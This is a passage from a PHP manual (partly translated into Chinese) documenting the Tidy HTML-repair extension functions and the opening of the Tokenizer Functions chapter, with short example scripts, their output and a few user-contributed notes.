    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

See also tidy_reset_config() and tidy_save_config().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_body | 上一级 | tidy_get_error_buffer


tidy_get_error_buffer

(PHP 5)

tidy_get_error_buffer -- Return warnings and errors which occurred parsing the specified document

Description

Procedural style:

string tidy_get_error_buffer ( tidy object )

Object oriented style (property):

class tidy {

string errorBuffer

}

tidy_get_error_buffer() returns warnings and errors which occurred parsing the specified document.

例子 1. tidy_get_error_buffer() example

<?php
$html = '<p>paragraph</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* or in OO: */
echo $tidy->errorBuffer;
?>

上例将输出：

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

See also tidy_access_count(),
tidy_error_count() and
tidy_warning_count().

add a note add a note User Contributed Notes
david dot tulloh at infaze dot com dot au
12-May-2005 01:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.
add a note add a note

后退 | 起点 | 前进
tidy_get_config | 上一级 | tidy_get_head


tidy_get_head

(PHP 5)

tidy_get_head -- Returns a tidyNode Object starting from the <head> tag of the tidy parse tree

Description

Procedural style:

tidyNode tidy_get_head ( tidy object )

Object oriented style:

tidyNode tidy->head ( void )

This function returns a tidyNode object starting from the <head> tag of the tidy parse tree.

例子 1. tidy_get_head() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$head = tidy_get_head($tidy);
echo $head->value;
?>

上例将输出：

<head>
<title>test</title>
</head>

注: 本函数仅能用于 Zend Engine 2，这意味着 PHP >= 5.0.0。

See also tidy_get_body() and tidy_get_html().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_error_buffer | 上一级 | tidy_get_html_ver


tidy_get_html_ver

(PHP 5)

tidy_get_html_ver -- Get the Detected HTML version for the specified document

Description

Procedural style:

int tidy_get_html_ver ( tidy object )

Object oriented style:

int tidy->getHtmlVer ( void )

tidy_get_html_ver() returns the detected HTML version for the specified tidy object.

警告

This function is not yet implemented in the Tidylib itself, so it always return 0.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_head | 上一级 | tidy_get_html


tidy_get_html

(PHP 5)

tidy_get_html -- Returns a tidyNode Object starting from the <html> tag of the tidy parse tree

Description

Procedural style:

tidyNode tidy_get_html ( tidy object )

Object oriented style:

tidyNode tidy->html ( void )

This function returns a tidyNode object starting from the <html> tag of the tidy parse tree.

例子 1. tidy_get_html() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$html = tidy_get_html($tidy);
echo $html->value;
?>

上例将输出：

<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

注: 本函数仅能用于 Zend Engine 2，这意味着 PHP >= 5.0.0。

See also tidy_get_body() and tidy_get_head().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_html_ver | 上一级 | tidy_get_opt_doc


tidy_get_opt_doc

(PHP 5 >= 5.1.0RC1)

tidy_get_opt_doc -- Returns the documentation for the given option name

说明

Procedural style:

string tidy_get_opt_doc ( tidy object, string optname )

Object oriented style:

string tidy->getOptDoc ( string optname )

tidy_get_opt_doc() returns the documentation for the given option name.

注: You need at least libtidy from 25 April, 2005 for this function be available.

参数

object

A tidy object

optname

The option name

返回值

Returns a string if the option exists and has documentation available, or FALSE otherwise.

范例

例子 1. Print all options along with their documentation and default value

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

    if (!$doc = $tidy->getOptDoc($opt))
        $doc = 'no documentation available!';

    $val = ($tidy->getOpt($opt) === true)  ? 'true'  : $val;
    $val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

    echo "<p><b>$opt</b> (default: '$val')<br />".
         "$doc</p><hr />\n";
}

?>

参见

tidy_get_config()
tidy_getopt()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_html | 上一级 | tidy_get_output


tidy_get_output

(PHP 5)

tidy_get_output -- Return a string representing the parsed tidy markup

Description

string tidy_get_output ( tidy object )

tidy_get_output() returns a string with the repaired html.

例子 1. tidy_get_output() example

<?php

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$tidy->CleanRepair();

echo tidy_get_output($tidy);
?>

上例将输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_opt_doc | 上一级 | tidy_get_release


tidy_get_release

(PHP 5)

tidy_get_release -- Get release date (version) for Tidy library

Description

Procedural style:

string tidy_get_release ( void )

Object oriented style:

string tidy->getRelease ( void )

This function returns a string with the release date of the Tidy library.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_output | 上一级 | tidy_get_root


tidy_get_root

(PHP 5)

tidy_get_root -- Returns a tidyNode object representing the root of the tidy parse tree

Description

Procedural style:

tidyNode tidy_get_root ( tidy object )

Object oriented style:

tidyNode tidy->root ( void )

Returns a tidyNode object representing the root of the tidy parse tree.

例子 1. dump nodes

<?php

$html = <<< HTML
<html><body>

<p>paragraph</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

    if($node->hasChildren()) {
        foreach($node->child as $child) {
            echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

            dump_nodes($child, $indent+1);
        }
    }
}
?>

上例将输出：

..html
....head
......title
....body
......p
........"paragraph"
......br

注: 本函数仅能用于 Zend Engine 2，这意味着 PHP >= 5.0.0。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_release | 上一级 | tidy_get_status


tidy_get_status

(PHP 5)

tidy_get_status -- Get status of specified document

Description

Procedural style:

int tidy_get_status ( tidy object )

Object oriented style:

int tidy->getStatus ( void )

tidy_get_status() returns the status for the specified tidy object. It returns 0 if no error/warning was raised, 1 for warnings or accessibility errors, or 2 for errors.

例子 1. tidy_get_status() example

<?php
$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$html2 = '<bogus>test</bogus>';
$tidy2 = tidy_parse_string($html2);

echo tidy_get_status($tidy); //1

echo tidy_get_status($tidy2); //2
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_root | 上一级 | tidy_getopt


tidy_getopt

(PHP 5)

tidy_getopt -- Returns the value of the specified configuration option for the tidy document

Description

Procedural style:

mixed tidy_getopt ( tidy object, string option )

Object oriented style:

mixed tidy->getOpt ( string option )

tidy_getopt() returns the value of the specified option for the specified tidy object. The return type depends on the type of the specified option. You will find a list with each configuration option and their types at: http://tidy.sourceforge.net/docs/quickref.html.

例子 1. tidy_getopt() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
                'alt-text' => 'some text');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

上例将输出：

int(3)
bool(true)
string(9) "some text"

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_get_status | 上一级 | tidy_is_xhtml


tidy_is_xhtml

(PHP 5)

tidy_is_xhtml -- Indicates if the document is a XHTML document

Description

Procedural style:

bool tidy_is_xhtml ( tidy object )

Object oriented style:

bool tidy->isXhtml ( void )

This function returns TRUE if the specified tidy object is a XHTML document, or FALSE otherwise.

警告

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_getopt | 上一级 | tidy_is_xml


tidy_is_xml

(PHP 5)

tidy_is_xml -- Indicates if the document is a generic (non HTML/XHTML) XML document

Description

Procedural style:

bool tidy_is_xml ( tidy object )

Object oriented style:

bool tidy->isXml ( void )

This function returns TRUE if the specified tidy object is a generic XML document (non HTML/XHTML), or FALSE otherwise.

警告

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_is_xhtml | 上一级 | tidy_load_config


tidy_load_config

(no version information, might be only in CVS)

tidy_load_config -- Load an ASCII Tidy configuration file with the specified encoding

Description

void tidy_load_config ( string filename, string encoding )

This function loads a Tidy configuration file, with the specified encoding.

注: 本函数只在 Tidy 1.0 中存在。在 Tidy 2.0 中，该函数已过时并被移除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_is_xml | 上一级 | tidy_node->get_attr


tidy_node->get_attr

(no version information, might be only in CVS)

tidy_node->get_attr -- Return the attribute with the provided attribute id

Description

tidy_attr tidy_node->get_attr ( int attrib_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_load_config | 上一级 | tidy_node->get_nodes


tidy_node->get_nodes

(no version information, might be only in CVS)

tidy_node->get_nodes -- Return an array of nodes under this node with the specified id

Description

array tidy_node->get_nodes ( int node_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_node->get_attr | 上一级 | tidy_node->next


tidy_node->next

(no version information, might be only in CVS)

tidy_node->next -- Returns the next sibling to this node

Description

tidy_node tidy_node->next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_node->get_nodes | 上一级 | tidy_node->prev


tidy_node->prev

(no version information, might be only in CVS)

tidy_node->prev -- Returns the previous sibling to this node

Description

tidy_node tidy_node->prev ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_node->next | 上一级 | tidy_parse_file


tidy_parse_file

(PHP 5)

tidy_parse_file -- Parse markup in file or URI

Description

Procedural style:

tidy tidy_parse_file ( string filename [, mixed config [, string encoding [, bool use_include_path]]] )

Object oriented style:

bool tidy->parseFile ( string filename [, mixed config [, string encoding [, bool use_include_path]]] )

This function parses the given file.

config 参数可以以数组或者字符串方式传递。如果以字符串传递，则代表配置文件名，否则就解释为选项本身。每个选项的解释见 http://tidy.sourceforge.net/docs/quickref.html。

encoding 参数设置了输入／输出文档的编码方式。encoding 的可能值有：ascii，latin0，latin1，raw，utf8，iso2022，mac，win1252，ibm858，utf16，utf16le，utf16be，big5 和 shiftjis。

例子 1. tidy_parse_file() example

<?php
$tidy = tidy_parse_file('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
    echo "The following errors or warnings occured:\n";
    echo $tidy->errorBuffer;
}
?>

注: 可选参数 config 和 encoding 是在 Tidy 2.0 中新加的。

See also tidy_parse_string(),
tidy_repair_file() and
tidy_repair_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_node->prev | 上一级 | tidy_parse_string


tidy_parse_string

(PHP 5)

tidy_parse_string -- Parse a document stored in a string

Description

Procedural style:

tidy tidy_parse_string ( string input [, mixed config [, string encoding]] )

Object oriented style:

bool tidy->parseString ( string input [, mixed config [, string encoding]] )

tidy_parse_string() parses a document stored in a string.

config 参数可以以数组或者字符串方式传递。如果以字符串传递，则代表配置文件名，否则就解释为选项本身。每个选项的解释见 http://tidy.sourceforge.net/docs/quickref.html。

encoding 参数设置了输入／输出文档的编码方式。encoding 的可能值有：ascii，latin0，latin1，raw，utf8，iso2022，mac，win1252，ibm858，utf16，utf16le，utf16be，big5 和 shiftjis。

例子 1. tidy_parse_string() example

<?php
ob_start();
?>

<html>
  <head>
   <title>test</title>
  </head>
  <body>
   <p>error<br>another line</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

上例将输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      test
    </title>
  </head>
  <body>
    <p>
      error<br />
      another line
    </p>
  </body>
</html>

注: 可选参数 config 和 encoding 是在 Tidy 2.0 中新加的。

See also tidy_parse_file(),
tidy_repair_file() and
tidy_repair_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_parse_file | 上一级 | tidy_repair_file


tidy_repair_file

(PHP 5)

tidy_repair_file -- Repair a file and return it as a string

Description

string tidy_repair_file ( string filename [, mixed config [, string encoding [, bool use_include_path]]] )

This function repairs the given file and returns it as a string.

config 参数可以以数组或者字符串方式传递。如果以字符串传递，则代表配置文件名，否则就解释为选项本身。每个选项的解释见 http://tidy.sourceforge.net/docs/quickref.html。

encoding 参数设置了输入／输出文档的编码方式。encoding 的可能值有：ascii，latin0，latin1，raw，utf8，iso2022，mac，win1252，ibm858，utf16，utf16le，utf16be，big5 和 shiftjis。

例子 1. tidy_repair_file() example

<?php
$file = 'file.html';

$repaired = tidy_repair_file($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

注: 可选参数 config 和 encoding 是在 Tidy 2.0 中新加的。

See also tidy_parse_file(),
tidy_parse_string() and
tidy_repair_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_parse_string | 上一级 | tidy_repair_string


tidy_repair_string

(PHP 5)

tidy_repair_string -- Repair a string using an optionally provided configuration file

Description

string tidy_repair_string ( string data [, mixed config [, string encoding]] )

This function repairs the given string.

config 参数可以以数组或者字符串方式传递。如果以字符串传递，则代表配置文件名，否则就解释为选项本身。每个选项的解释见 http://tidy.sourceforge.net/docs/quickref.html。

encoding 参数设置了输入／输出文档的编码方式。encoding 的可能值有：ascii，latin0，latin1，raw，utf8，iso2022，mac，win1252，ibm858，utf16，utf16le，utf16be，big5 和 shiftjis。

例子 1. tidy_repair_string() example

<?php
ob_start();
?>

<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>error</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = tidy_repair_string($buffer);

echo $tidy;
?>

上例将输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>test</title>
</head>
<body>
<p>error</p>
</body>
</html>

注: 可选参数 config 和 encoding 是在 Tidy 2.0 中新加的。

See also tidy_parse_file(),
tidy_parse_string() and
tidy_repair_file().

add a note add a note User Contributed Notes
Atpic.com
14-May-2006 12:12
When using the function tidy_repair_string with the option show-body-only turned on to process pieces of HTML, I had to use trim() to remove the carriage returns that this function at the end of the resulting string.

function trimmed_tidy_repair_string($html){
   $config["show-body-only"]=true;
   $html=tidy_repair_string($html,$config,"utf8");
   $html=trim($html);
   return $html;
}
add a note add a note

后退 | 起点 | 前进
tidy_repair_file | 上一级 | tidy_reset_config


tidy_reset_config

(no version information, might be only in CVS)

tidy_reset_config -- Restore Tidy configuration to default values

Description

bool tidy_reset_config ( void )

This function restores the Tidy configuration to the default values.

注: 本函数只在 Tidy 1.0 中存在。在 Tidy 2.0 中，该函数已过时并被移除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_repair_string | 上一级 | tidy_save_config


tidy_save_config

(no version information, might be only in CVS)

tidy_save_config -- Save current settings to named file

Description

bool tidy_save_config ( string filename )

tidy_save_config() saves current settings to the specified file. Only non-default values are written.

See also tidy_get_config(),
tidy_getopt(),
tidy_reset_config() and
tidy_setopt().

注: 本函数只在 Tidy 1.0 中存在。在 Tidy 2.0 中，该函数已过时并被移除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_reset_config | 上一级 | tidy_set_encoding


tidy_set_encoding

(no version information, might be only in CVS)

tidy_set_encoding -- Set the input/output character encoding for parsing markup

Description

bool tidy_set_encoding ( string encoding )

Sets the encoding for input/output documents. 如果成功则返回 TRUE，失败则返回 FALSE。 Possible values for encoding are ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5 and shiftjis

注: 本函数只在 Tidy 1.0 中存在。在 Tidy 2.0 中，该函数已过时并被移除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_save_config | 上一级 | tidy_setopt


tidy_setopt

(no version information, might be only in CVS)

tidy_setopt -- Updates the configuration settings for the specified tidy document

Description

bool tidy_setopt ( string option, mixed value )

tidy_setopt() updates the specified option with a new value.

例子 1. tidy_setopt() example

<?php
$html = '<p>test</i>';

$tidy = tidy_parse_string($html);

tidy_setopt('indent', FALSE);
?>

See also tidy_getopt(),
tidy_get_config(),
tidy_reset_config() and
tidy_save_config().

注: 本函数只在 Tidy 1.0 中存在。在 Tidy 2.0 中，该函数已过时并被移除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_set_encoding | 上一级 | tidy_warning_count


tidy_warning_count

(PHP 5)

tidy_warning_count -- Returns the Number of Tidy warnings encountered for specified document

Description

int tidy_warning_count ( tidy object )

tidy_warning_count() returns the number of Tidy warnings encountered for the specified document.

例子 1. tidy_warning_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

See also tidy_access_count() and tidy_error_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_setopt | 上一级 | tidyNode->hasChildren


tidyNode->hasChildren

(no version information, might be only in CVS)

tidyNode->hasChildren -- Returns true if this node has children

Description

bool tidyNode->hasChildren ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->has_children() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidy_warning_count | 上一级 | tidyNode->hasSiblings


tidyNode->hasSiblings

(no version information, might be only in CVS)

tidyNode->hasSiblings -- Returns true if this node has siblings

Description

bool tidyNode->hasSiblings ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->has_siblings() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->hasChildren | 上一级 | tidyNode->isAsp


tidyNode->isAsp

(no version information, might be only in CVS)

tidyNode->isAsp -- Returns true if this node is ASP

Description

bool tidyNode->isAsp ( void )

This functions returns TRUE if the current node is ASP, or FALSE otherwise.

注: This function was named tidy_node->is_asp() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->hasSiblings | 上一级 | tidyNode->isComment


tidyNode->isComment

(no version information, might be only in CVS)

tidyNode->isComment -- Returns true if this node represents a comment

Description

bool tidyNode->isComment ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->is_comment() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->isAsp | 上一级 | tidyNode->isHtml


tidyNode->isHtml

(no version information, might be only in CVS)

tidyNode->isHtml -- Returns true if this node is part of a HTML document

Description

bool tidyNode->isHtml ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->is_html() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->isComment | 上一级 | tidyNode->isJste


tidyNode->isJste

(no version information, might be only in CVS)

tidyNode->isJste -- Returns true if this node is JSTE

Description

bool tidyNode->isJste ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->is_jste() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->isHtml | 上一级 | tidyNode->isPhp


tidyNode->isPhp

(no version information, might be only in CVS)

tidyNode->isPhp -- Returns true if this node is PHP

Description

bool tidyNode->isPhp ( void )

Returns TRUE if the current node is PHP code, FALSE otherwise.

例子 1. get the PHP code from a mixed HTML/PHP document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
</head>
<body>

<?php
echo 'hello world!';
?>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_php($tidy->html());

function get_php($node) {

    // check if the current node is PHP code
    if($node->isPhp()) {
        echo "\n\n# PHP node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_php($child);
        }
    }
}

?>

上例将输出：

# PHP node #1
<?php echo '<title>title</title>'; ?>

# PHP node #2
<?php
echo 'hello world!';
?>

注: This function was named tidy_node->is_php() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->isJste | 上一级 | tidyNode->isText


tidyNode->isText

(no version information, might be only in CVS)

tidyNode->isText -- Returns true if this node represents text (no markup)

Description

bool tidyNode->isText ( void )

警告

本函数暂无文档，仅有参数列表。

注: This function was named tidy_node->is_text() in PHP 4/Tidy 1.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tidyNode->isPhp | 上一级 | Tokenizer Functions


Tokenizer Functions

PHP 手册
后退 前进

CXLVI. Tokenizer Functions

简介

The tokenizer functions provide an interface to the PHP tokenizer embedded in the Zend Engine. Using these functions you may write your own PHP source analyzing or modification tools without having to deal with the language specification at the lexical level.

See also the appendix about tokens.

需求

要编译本扩展模块不需要外部库文件。

安装

Beginning with PHP 4.3.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-tokenizer. You can disable tokenizer support with --disable-tokenizer.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

注: Builtin support for tokenizer is available with PHP 4.3.0.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

T_INCLUDE (integer)

T_INCLUDE_ONCE (integer)

T_EVAL (integer)

T_REQUIRE (integer)

T_REQUIRE_ONCE (integer)

T_LOGICAL_OR (integer)

T_LOGICAL_XOR (integer)

T_LOGICAL_AND (integer)

T_PRINT (integer)

T_PLUS_EQUAL (integer)

T_MINUS_EQUAL (integer)

T_MUL_EQUAL (integer)

T_DIV_EQUAL (integer)

T_CONCAT_EQUAL (integer)

T_MOD_EQUAL (integer)

T_AND_EQUAL (integer)

T_OR_EQUAL (integer)

T_XOR_EQUAL (integer)

T_SL_EQUAL (integer)

T_SR_EQUAL (integer)

T_BOOLEAN_OR (integer)

T_BOOLEAN_AND (integer)

T_IS_EQUAL (integer)

T_IS_NOT_EQUAL (integer)

T_IS_IDENTICAL (integer)

T_IS_NOT_IDENTICAL (integer)

T_IS_SMALLER_OR_EQUAL (integer)

T_IS_GREATER_OR_EQUAL (integer)

T_SL (integer)

T_SR (integer)

T_INC (integer)

T_DEC (integer)

T_INT_CAST (integer)

T_DOUBLE_CAST (integer)

T_STRING_CAST (integer)

T_ARRAY_CAST (integer)

T_OBJECT_CAST (integer)

T_BOOL_CAST (integer)

T_UNSET_CAST (integer)

T_NEW (integer)

T_EXIT (integer)

T_IF (integer)

T_ELSEIF (integer)

T_ELSE (integer)

T_ENDIF (integer)

T_LNUMBER (integer)

T_DNUMBER (integer)

T_STRING (integer)

T_STRING_VARNAME (integer)

T_VARIABLE (integer)

T_NUM_STRING (integer)

T_INLINE_HTML (integer)

T_CHARACTER (integer)

T_BAD_CHARACTER (integer)

T_ENCAPSED_AND_WHITESPACE (integer)

T_CONSTANT_ENCAPSED_STRING (integer)

T_ECHO (integer)

T_DO (integer)

T_WHILE (integer)

T_ENDWHILE (integer)

T_FOR (integer)

T_ENDFOR (integer)

T_FOREACH (integer)

T_ENDFOREACH (integer)

T_DECLARE (integer)

T_ENDDECLARE (integer)

T_AS (integer)

T_SWITCH (integer)

T_ENDSWITCH (integer)

T_CASE (integer)

T_DEFAULT (integer)

T_BREAK (integer)

T_CONTINUE (integer)

T_OLD_FUNCTION (integer)

T_OLD_FUNCTION is not defined in PHP 5.

T_FUNCTION (integer)

T_CONST (integer)

T_RETURN (integer)

T_USE (integer)

T_GLOBAL (integer)

T_STATIC (integer)

T_VAR (integer)

T_UNSET (integer)

T_ISSET (integer)

T_EMPTY (integer)

T_CLASS (integer)

T_EXTENDS (integer)

T_OBJECT_OPERATOR (integer)

T_DOUBLE_ARROW (integer)

T_LIST (integer)

T_ARRAY (integer)

T_LINE (integer)

T_FILE (integer)

T_COMMENT (integer)

T_ML_COMMENT (integer)

T_ML_COMMENT is not defined in PHP 5. All comments in PHP 5 are of token T_COMMENT.

T_DOC_COMMENT (integer)

T_DOC_COMMENT was introduced in PHP 5.

T_OPEN_TAG (integer)

T_OPEN_TAG_WITH_ECHO (integer)

T_CLOSE_TAG (integer)

T_WHITESPACE (integer)

T_START_HEREDOC (integer)

T_END_HEREDOC (integer)

T_DOLLAR_OPEN_CURLY_BRACES (integer)

T_CURLY_OPEN (integer)

T_PAAMAYIM_NEKUDOTAYIM (integer)

T_DOUBLE_COLON (integer)

T_INTERFACE (integer)

PHP 5 only.

T_IMPLEMENTS (integer)

PHP 5 only.

T_CLASS_C (integer)

PHP 5 only.

T_FUNC_C (integer)

PHP 5 only.

T_METHOD_C (integer)

PHP 5 only.

T_ABSTRACT (integer)

PHP 5 only.

T_CATCH (integer)

PHP 5 only.

T_FINAL (integer)

PHP 5 only.

T_INSTANCEOF (integer)

PHP 5 only.

T_PRIVATE (integer)

PHP 5 only.

T_PROTECTED (integer)

PHP 5 only.

T_PUBLIC (integer)

PHP 5 only.

T_THROW (integer)

PHP 5 only.

T_TRY (integer)

PHP 5 only.

T_CLONE (integer)

PHP 5 only.

范例

Here is a simple example PHP scripts using the tokenizer that will read in a PHP file, strip all comments from the source and print the pure code only.

例子 1. Strip comments with the tokenizer

<?php
/*
* T_ML_COMMENT does not exist in PHP 5.
* The following three lines define it in order to
* preserve backwards compatibility.
*
* The next two lines define the PHP 5 only T_DOC_COMMENT,
* which we will mask as T_ML_COMMENT for PHP 4.
*/
if (!defined('T_ML_COMMENT')) {
    define('T_ML_COMMENT', T_COMMENT);
} else {
    define('T_DOC_COMMENT', T_ML_COMMENT);
}

$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
    if (is_string($token)) {
        // simple 1-character token
        echo $token;
    } else {
        // token array
        list($id, $text) = $token;

        switch ($id) {
            case T_COMMENT:
            case T_ML_COMMENT: // we've defined this
            case T_DOC_COMMENT: // and this
                // no action on comments
                break;

            default:
                // anything else -> output "as is"
                echo $text;
                break;
        }
    }
}
?>
目录
token_get_all -- Split given source into PHP tokens
token_name -- Get the symbolic name of a given PHP token

add a note add a note User Contributed Notes
lists at 5etdemi dot com
